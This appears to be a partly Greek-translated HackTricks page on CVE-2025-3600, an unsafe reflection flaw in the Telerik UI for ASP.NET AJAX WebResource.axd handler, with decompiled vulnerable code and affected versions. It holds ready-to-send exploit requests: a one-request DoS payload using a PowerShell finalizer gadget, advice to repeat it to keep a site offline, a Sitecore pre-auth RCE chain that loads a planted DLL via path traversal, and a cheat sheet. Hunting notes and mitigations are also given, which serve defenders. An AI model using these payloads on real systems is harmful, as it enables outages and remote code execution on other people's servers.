Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Pre‑auth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler enables universal DoS and, in many apps, pre‑auth RCE via target‑specific gadgets (CVE-2025-3600).

TL;DR

  • Επηρεαζόμενο component/route: Telerik.Web.UI.WebResource.axd με query type=iec (Image Editor cache handler). Έκθεση pre‑auth σε πολλές εφαρμογές.
  • Βασική ιδέα: Ο επιτιθέμενος ελέγχει ένα όνομα τύπου (prtype). Ο handler το επιλύει με Type.GetType() και καλεί Activator.CreateInstance() πριν ελέγξει την τύπου-ασφάλεια της διεπαφής. Οποιοσδήποτε δημόσιος constructor τύπου .NET χωρίς παραμέτρους θα εκτελεστεί.
  • Impact:
    • Καθολικό pre‑auth DoS με gadget του .NET framework (PowerShell WSMan finalizer).
    • Συχνά εξελίσσεται σε pre‑auth RCE σε πραγματικές αναπτύξεις με την κατάχρηση app‑specific gadgets, ειδικά μη ασφαλών AppDomain.AssemblyResolve handlers.
    • Fix: Αναβαθμίστε σε Telerik UI for ASP.NET AJAX 2025.1.416+ ή αφαιρέστε/κλειδώστε τον handler.

Affected versions

  • Οι εκδόσεις Telerik UI for ASP.NET AJAX 2011.2.712 έως 2025.1.218 (συμπεριλαμβανομένων) είναι ευάλωτες.
  • Διορθώθηκε στην 2025.1.416 (released 2025-04-30). Εφαρμόστε το patch άμεσα ή αφαιρέστε/ασφαλίστε τον handler.

Affected surface and quick discovery

  • Έλεγχος έκθεσης:
  • GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
  • Εξετάστε το web.config για αντιστοιχίσεις handlers προς Telerik.Web.UI.WebResource.axd.
  • Το μονοπάτι ενεργοποίησης για τον ευάλωτο κώδικα απαιτεί: type=iec, dkey=1, and prtype=.

Example probe and generic trigger:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

Σημειώσεις

  • Κάποια PoCs χρησιμοποιούν dtype; η υλοποίηση ελέγχει dkey==“1” για το download flow.
  • prtype πρέπει να είναι assembly-qualified ή resolvable στο τρέχον AppDomain.

Βασική αιτία – unsafe reflection in ImageEditorCacheHandler

Η ροή λήψης cache του Image Editor δημιουργεί ένα instance ενός τύπου που παρέχεται στο prtype και μόνο αργότερα το κάνει cast σε ICacheImageProvider και επικυρώνει το download key. Ο constructor έχει ήδη εκτελεστεί όταν η επικύρωση αποτυγχάνει.

Σχετική αποσυναρμολογημένη ροή ```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }

private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

</details>

Βασική τεχνική εκμετάλλευσης: Ελεγχόμενο type string → Type.GetType το επιλύει → Activator.CreateInstance εκτελεί τον δημόσιο κατασκευαστή χωρίς παραμέτρους. Ακόμη κι αν το αίτημα απορριφθεί στη συνέχεια, οι παρενέργειες του gadget έχουν ήδη συμβεί.

## Καθολικό gadget DoS (δεν απαιτούνται gadget ειδικά για την εφαρμογή)

Κλάση: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper στο System.Management.Automation (PowerShell) έχει έναν finalizer που κάνει dispose σε ένα μη αρχικοποιημένο handle, προκαλώντας μια μη χειριζόμενη εξαίρεση όταν ο GC το τερματίζει. Αυτό καταρρίπτει με αξιοπιστία τη διαδικασία worker του IIS σύντομα μετά τη δημιουργία του αντικειμένου.

Εφάπαξ αίτημα DoS:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notes

  • Συνέχισε να στέλνεις περιοδικά για να κρατήσεις τον ιστότοπο εκτός λειτουργίας. Μπορεί να παρατηρήσεις τον constructor να χτυπάει σε ένα debugger· το crash συμβαίνει κατά την finalization.

From DoS to RCE – escalation patterns

Η unsafe εκτέλεση των constructors ξεκλειδώνει πολλά target‑specific gadgets και chains. Ψάξε για:

  1. Parameterless constructors that process attacker input
  • Κάποιοι ctors (or static initializers) διαβάζουν αμέσως Request query/body/cookies/headers και (de)serialize αυτά.
  • Example (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body “layout” and deserializes JSON via JSON.NET.
  1. Constructors that touch files
  • Ctros that load or deserialize config/blobs from disk μπορούν να εξαναγκαστούν αν μπορείς να γράψεις σε αυτά τα paths (uploads/temp/data folders).
  1. Constructors performing app-specific ops
  • Επαναφορά state, εναλλαγή modules, ή τερματισμός processes.
  1. Constructors/static ctors that register AppDomain event handlers
  • Πολλές apps προσθέτουν AppDomain.CurrentDomain.AssemblyResolve handlers που κατασκευάζουν DLL paths από args.Name χωρίς sanitization. Αν μπορείς να επηρεάσεις type resolution μπορείς να εξαναγκάσεις arbitrary DLL loads από attacker‑controlled paths.
  1. Forcing AssemblyResolve via Type.GetType
  • Request a non-existent type για να εξαναγκάσεις CLR resolution και να καλέσεις registered (possibly insecure) resolvers. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
  1. Finalizers με καταστροφικές παρενέργειες
  • Ορισμένοι τύποι διαγράφουν αρχεία με σταθερό μονοπάτι στους finalizers. Συνδυασμένο με link-following ή προβλέψιμα paths αυτό μπορεί να επιτρέψει local privilege escalation σε ορισμένα περιβάλλοντα.

Παράδειγμα pre‑auth RCE chain (Sitecore XP)

  • Step 1 – Pre‑auth: Ενεργοποιήστε έναν τύπο του οποίου ο static/instance ctor καταχωρεί έναν μη ασφαλή AssemblyResolve handler (π.χ., το Sitecore’s FolderControlSource στο ControlFactory).
  • Step 2 – Post‑auth: Αποκτήστε write σε έναν resolver-probed directory (π.χ., μέσω auth bypass ή weak upload) και τοποθετήστε ένα malicious DLL.
  • Step 3 – Pre‑auth: Χρησιμοποιήστε CVE‑2025‑3600 με έναν μη υπάρχοντα τύπο και ένα traversal‑laden assembly name για να αναγκάσετε τον resolver να φορτώσει το τοποθετημένο DLL σας → εκτέλεση κώδικα ως ο IIS worker.

Trigger examples

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Επικύρωση, hunting και DFIR σημειώσεις

  • Safe lab validation: Εκτελέστε το DoS payload σε ασφαλές εργαστήριο και παρακολουθήστε για app pool recycle/μη διαχειριζόμενη εξαίρεση που σχετίζεται με τον WSMan finalizer.
  • Hunt in telemetry:
  • Αιτήσεις προς /Telerik.Web.UI.WebResource.axd με type=iec και ασυνήθιστες τιμές prtype.
  • Αποτυχημένα φορτώματα τύπων και AppDomain.AssemblyResolve events.
  • Ξαφνικές καταρρεύσεις/recycles του w3wp.exe μετά από τέτοιες αιτήσεις.

Mitigation

  • Patch to Telerik UI for ASP.NET AJAX 2025.1.416 or later.
  • Αφαιρέστε ή περιορίστε την έκθεση του Telerik.Web.UI.WebResource.axd όπου είναι δυνατόν (WAF/rewrites).
  • Ignore or harden prtype handling server-side (η αναβάθμιση εφαρμόζει κατάλληλους ελέγχους πριν την instantiation).
  • Ελέγξτε και θωρακίστε τους προσαρμοσμένους χειριστές AppDomain.AssemblyResolve. Αποφύγετε τη δημιουργία μονοπατιών από args.Name χωρίς sanitization· προτιμήστε φορτώσεις με strong-name ή λευκές λίστες.
  • Περιορίστε τις τοποθεσίες ανέβασματος/εγγραφής και αποτρέψτε την απόθεση DLL σε directories που ελέγχονται.
  • Παρακολουθήστε για προσπάθειες φόρτωσης μη υπάρχοντος τύπου για να εντοπίσετε κατάχρηση του resolver.

Cheat‑sheet

  • Presence check:
  • GET /Telerik.Web.UI.WebResource.axd
  • Look for handler mapping in web.config
  • Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
  • Καθολικό DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
  • Προκαλέστε τον resolver:
This.Class.Does.Not.Exist, watchTowr

Σχετικές τεχνικές

  • IIS post-exploitation, .NET key extraction, και in‑memory loaders:

IIS - Internet Information Services

  • ASP.NET ViewState deserialization και καταχρήσεις machineKey:

Exploiting __VIEWSTATE without knowing the secrets

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks